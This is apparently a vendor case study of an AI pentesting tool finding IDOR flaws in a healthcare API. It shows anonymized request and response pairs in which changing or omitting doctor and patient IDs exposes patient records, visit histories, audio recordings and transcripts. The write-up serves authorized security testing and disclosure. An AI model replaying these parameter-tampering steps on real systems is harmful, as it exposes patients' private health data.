Using Context to Discover IDOR Vuln in Healthcare Co: Technical Deep Dive
Introduction
Xint is an AI-powered penetration testing solution built to excel at one of the hardest problems in application security: identifying business logic vulnerabilities. Given a target web service and the credentials needed to use it, Xint approaches testing the way a real attacker would — by understanding the context behind each request and response, then crafting attack scenarios that fit that context. This is what allows Xint to catch vulnerabilities like IDOR (Insecure Direct Object Reference) and data leakage that depend on business logic, the kind that simple rule-based or checklist scanners routinely miss.
In a recent engagement with a healthcare client, Xint uncovered an IDOR vulnerability that allowed unauthorized access to patients' protected health information (PHI). What made this case interesting is that the service had authentication-based access controls and hospital-level data isolation already in place — meaning a generic API request would have come up empty. Triggering the vulnerability required actually understanding how the system's access control was structured.
This post walks through an anonymized and reconstructed version of that engagement, showing how Xint reasoned through the domain context to surface a real business logic flaw.
Security in Healthcare
Healthcare is one of the industries where security isn't just best practice — it's existential. Patient records, diagnoses, and treatment histories fall under PHI, and a breach doesn't just create reputational damage; it creates serious legal and financial exposure. In the US, HIPAA mandates protection of PHI and imposes steep fines for violations.
The Access Control Problem That Makes Healthcare Hard
Preventing breaches requires strict access control and permission management. But healthcare services have a structural challenge that makes this genuinely difficult: access rights can't be managed as a simple blanket policy.
Consider the seemingly straightforward question of whether a doctor should be able to view another doctor's patient records. Sometimes, the answer is clearly no:
A doctor browsing patient records for reasons unrelated to care
A former employee whose access was never properly revoked
But other times, the answer has to be yes:
Emergency situations: If a patient arrives in the ER, the on-call physician needs immediate access to their history — regardless of who their primary doctor is.
Interdepartmental consultations: When specialists collaborate on a case, they all need access to the relevant records.
Coverage: When a doctor is unavailable, another physician needs to be able to review prior treatment to continue care.
In other words, the same action — accessing another doctor's patient records — can be either completely legitimate or a serious privacy violation depending on the context. That's the core challenge. A security tool capable of meaningfully testing a healthcare application needs to understand how the service actually works, reason about context, and distinguish between a normal feature and a vulnerability.
That's exactly what Xint is built to do.
How Xint Found the Vulnerability
Complex permission hierarchies, relationships between resources, and authorization policies baked into business logic — these are exactly the kinds of things traditional security tools struggle to test. Here's how Xint worked through a healthcare service to find real vulnerabilities, step by step.
Step 1: Getting a Token and Understanding What's In It
Xint received the target scope and credentials from the client, performed a login, and obtained the authentication token needed to make API requests.
Request
POST /auth/sign-in
Content-Type: application/json
{
"hopitalCode": <hospital-code>,
"username": <test-username>,
"password": <test-password>
}
Response
Status 200
{
"accessToken": <access-token>,
"refreshToken": <refresh-token>
}
The JWT (JSON Web Token) payload contained the following claims:
{
"sub": "1",
"userId": 1,
"hospital": 1,
"role": "User",
"token_type": "access"
}From this, Xint established that the authenticated account had userId=1 and belonged to hospital=1.
Step 2: Understanding the Account's Role Within the Service
Using the auth token, Xint queried the doctor's profile and the list of doctors within the hospital.
Request
GET /doctor
Authorization: Bearer <access-token>
Response
Status 200
{ "id": 1, "name": "Test User 1", "hospitalId": 1, ... }
Request
GET /hospital/doctors
Authorization: Bearer <access-token>
Response
Status 200
{
"data": [
{
"id": 1,
"name": "Test User 1",
"departments": [{ "departmentName": "내과" }]
},
{
"id": 2,
"name": "Test User 2",
"departments": [{ "departmentName": "신경과" }]
},
...
]
}This told Xint two things: there were multiple doctors in this hospital, and each doctor was associated with their own department. Cross-referencing with the token data, Xint confirmed the logged-in account corresponded to a specific physician — doctor id=1, affiliated with Internal Medicine.
Step 3: Accessing Another Doctor's Patient List
Exploring the API endpoints accessible with the logged-in account, Xint identified a patient list endpoint (/hospital/patients-list) that accepted hospitalId and doctorId as query parameters. The natural inference was that this endpoint lets a doctor retrieve their own assigned patients within the hospital. Xint tested whether that assumption held — specifically, whether modifying doctorId to another doctor's ID would cause the API to return that doctor’s patients instead.
It did. The endpoint never verified that the requesting doctor matched the doctorId provided in the query parameter. That's a textbook IDOR vulnerability.
Xint then sent a request to the same endpoint without a doctorId at all, and the server responded with the full patient list for every doctor in the hospital.
Request
GET /hospital/patients-list?hospitalId=1&page=0
Authorization: Bearer <access-token>
Response
Status 200
{
"data": [
{
"name": <patients-1-name>,
"birthDate": <patients-1-birth>,
"identityNumber": <patients-1-identity-number>,
"phone": <patients-1-phone-number>,
"patientId": <patients-1-id>,
"doctorId": 1,
"revisit": 9
},
{
"name": <patients-2-name>,
"birthDate": <patients-2-birth>,
"identityNumber": <patients-2-identity-number>,
"phone": <patients-2-phone-number>,
"patientId": <patients-2-id>,
"doctorId": 2, "revisit": 1
},
...
]
}The response included patients assigned to other doctors (e.g., doctorId=2), not just the logged-in account (doctorId=1). More critically, the records contained uniquely identifying personal information — phone numbers, dates of birth, and national ID numbers.
Xint paginated through the results using the page parameter to gauge the full scope of exposure. The conclusion: a single doctor's account was enough to access the personal information of every patient in the hospital.
Step 4-1: Accessing a Patient's Visit History
With patient identifiers (patientId) in hand from Step 3, Xint moved on to see what else was reachable. It queried the visit history endpoint (/patients/hospital/{patientId}/visit) using a patientId belonging to a patient assigned to a different doctor.
Request
GET /patients/hospital/<patients-2-id>/visit?page=0
Authorization: Bearer <access-token>
Response
Status 200
{
"data": [
{
"recordId": <record-id>,
"hospitalId": 1,
"doctorId": 2,
"status": "Completed",
...
},
...
]
}The server returned Status 200 with a full response. Xint noted that the doctor listed in the visit record was not the logged-in account (doctor id=1, Internal Medicine) — it was someone else. And since that other doctor (doctorId=2) was affiliated with Neurology, Xint inferred that data isolation between departments wasn't being enforced either.
To determine the scope of information accessible with the doctor's account, Xint repeated the same request using additional patient identifiers.
GET /patients/hospital/<patients-1-id>/visit?page=0 (doctorId: 1)
-> Status 200 OK
GET /patients/hospital/<patients-3-id>/visit?page=0 (doctorId: 3)
-> Status 200 OKIn every case, the server returned the same response regardless of which doctor the patient was assigned to. The requesting doctor's ID was never compared against the patient's assigned doctor.
Step 4-2: Accessing Medical Records
Xint used the patient identifiers (patientId) from Step 3 to query the medical record history endpoint (/patients/{patientId}/checkup/history).
Request
GET /patients/<patients-1-id>/checkup/history
Authorization: Bearer <access-token>
Response
Status 200
{
"data": [
{
"id": <record-id>
"status": "Finished",
"doctorId": 1,
"ccText": <증상 정보>,
"ccShortcut": <증상 태그>,
"medicalStatus": "DiagnosisDone"
...
}
]
}Again, Status 200. The records returned weren't just visit history — they included the symptoms patients had described and the current status of their treatment.
Following the same approach as Step 4-1, Xint attempted to access records for patients assigned to other doctors. Every request came back with full data.
From within those records, Xint extracted record-id values and used them to access the appointment recording endpoint (/patients/checkup/{recordId}/record).
Request
GET /patients/checkup/<record-id>/record
Authorization: Bearer <access-token>
Response
Stauts 200
{
"id": 1234,
"recordId": <record-id>,
"downloadUrl": <audio-recording-url>,
"audioDuration": 34
}The endpoint returned actual audio recording files for doctor-patient appointments, along with downloadUrl values that could be used to download them directly.
Xint then tried this with recordings from patients assigned to other doctors:
Request
GET /patients/checkup/<record-id-from-other>/record
Authorization: Bearer <access-token>
Respones
Status 200
{
"id": 1512,
"recordId": <record-id-from-other>,
"downloadUrl": <audio-recording-url>,
"audioDuration": 51
}
Status 200. The recordings came back without restriction. Any doctor in the hospital could access audio recordings of any other doctor's appointments with any patient — a serious privacy exposure.
Exploring further, Xint found a conversation history endpoint built on top of those recordings (/patients/checkup/{recordId}/history/talking) and sent a request to see what it exposed.
Request
GET /patients/checkup/<record-id>/history/talking
Authorization: Bearer <access-token>
Response
Status 200
{
"id": 192,
"recordId": <record-id>,
"audioDuration": 34,
"summary": <진료 내용 요약>,
"transcripts": [
{
"id": 3631,
"text": <transcript>,
"speaker": 0,
"dialogTime": 1
},
...
]
}The response contained summaries of the medical appointments derived from the recordings.
Across these steps, Xint's approach was to use information from each response to construct the next request — progressively mapping what was reachable and what data could be extracted. The result: a single doctor's account was sufficient to access the medical records and appointment recordings of every patient in the hospital. Audio recordings of private medical conversations carry an especially high risk if exposed.
Step 5: Testing Cross-Hospital Data Access
Having confirmed broad access within the hospital, Xint turned to the next question: could a compromised account reach patients at other hospitals? It modified the hospitalId parameter in requests to point to a hospital the account didn't belong to.
Request
GET /hospital/patients-list?hospitalId=2&page=0
Authorization: Bearer <access-token>
Response
Status 200
{ "data": [] }The server responded with Status 200, but the patient list came back empty. Cross-hospital access was blocked. From this, Xint concluded that hospital-level data isolation was in place — access control was being applied at the hospital boundary using the account's hospitalId — but that isolation stopped there.
Closing Thoughts
Healthcare is a domain where some degree of cross-doctor data access is genuinely necessary — a physician sometimes needs to see records they weren't originally assigned to. But Xint's scan found that this service allowed far more access than any clinical scenario could justify. Here's a summary of what was discovered:
Full patient roster exposure — No requester validation or filtering on /hospital/patients-list
Full visit history exposure — No requester validation on /patients/hospital/{patientId}/visit
Full medical record exposure — No access control on /patients/{patientId}/checkup/history
Full appointment recording exposure — No access control on /patients/checkup/{recordId}/record
Full consultation summary exposure — No access control on /patients/checkup/{recordId}/history/talking
All five are IDOR vulnerabilities rooted in the same underlying failure: insufficient authorization checks on inputs that gate access to sensitive resources. The service had hospital-level data isolation in place, but within a hospital, access control was essentially absent. Any authenticated doctor could reach every patient's data — not just their own patients. That means a single compromised or carelessly managed account puts the entire hospital's patient population at risk.
The severity is compounded by what those endpoints actually returned: ID numbers, doctor-patient audio recordings, and detailed clinical notes. Without proper audit logging, exposure of this data could constitute violations of PHI-related compliance frameworks like HIPAA.
What makes vulnerabilities like these particularly hard to catch is that none of the individual API calls look suspicious in isolation — each one is a well-formed, authenticated request. That's why traditional DAST tools struggle here. Detecting the vulnerability requires understanding the relationships between requests and reasoning about what the data flowing between them actually means.
That's what Xint did throughout this engagement. Rather than firing isolated requests, it read the context in each response, reconstructed how the endpoints related to one another, and built attack scenarios from that understanding. The consultation summary vulnerability — which required navigating through multiple endpoints and connecting the dots across them — is a clear example of something that only becomes visible once you understand the full picture.
As services grow more complex, vulnerabilities increasingly live not in individual endpoints but in the spaces between them — in the logic that connects features and controls what flows where. Simple scanners can't draw that boundary between normal behavior and a security flaw. Manual penetration testing can draw it, but can't realistically cover every endpoint at scale. Xint is designed to do both: bring the contextual reasoning of a skilled human tester to bear across an entire service, automatically, so that business logic vulnerabilities don't stay hidden just because they're hard to find.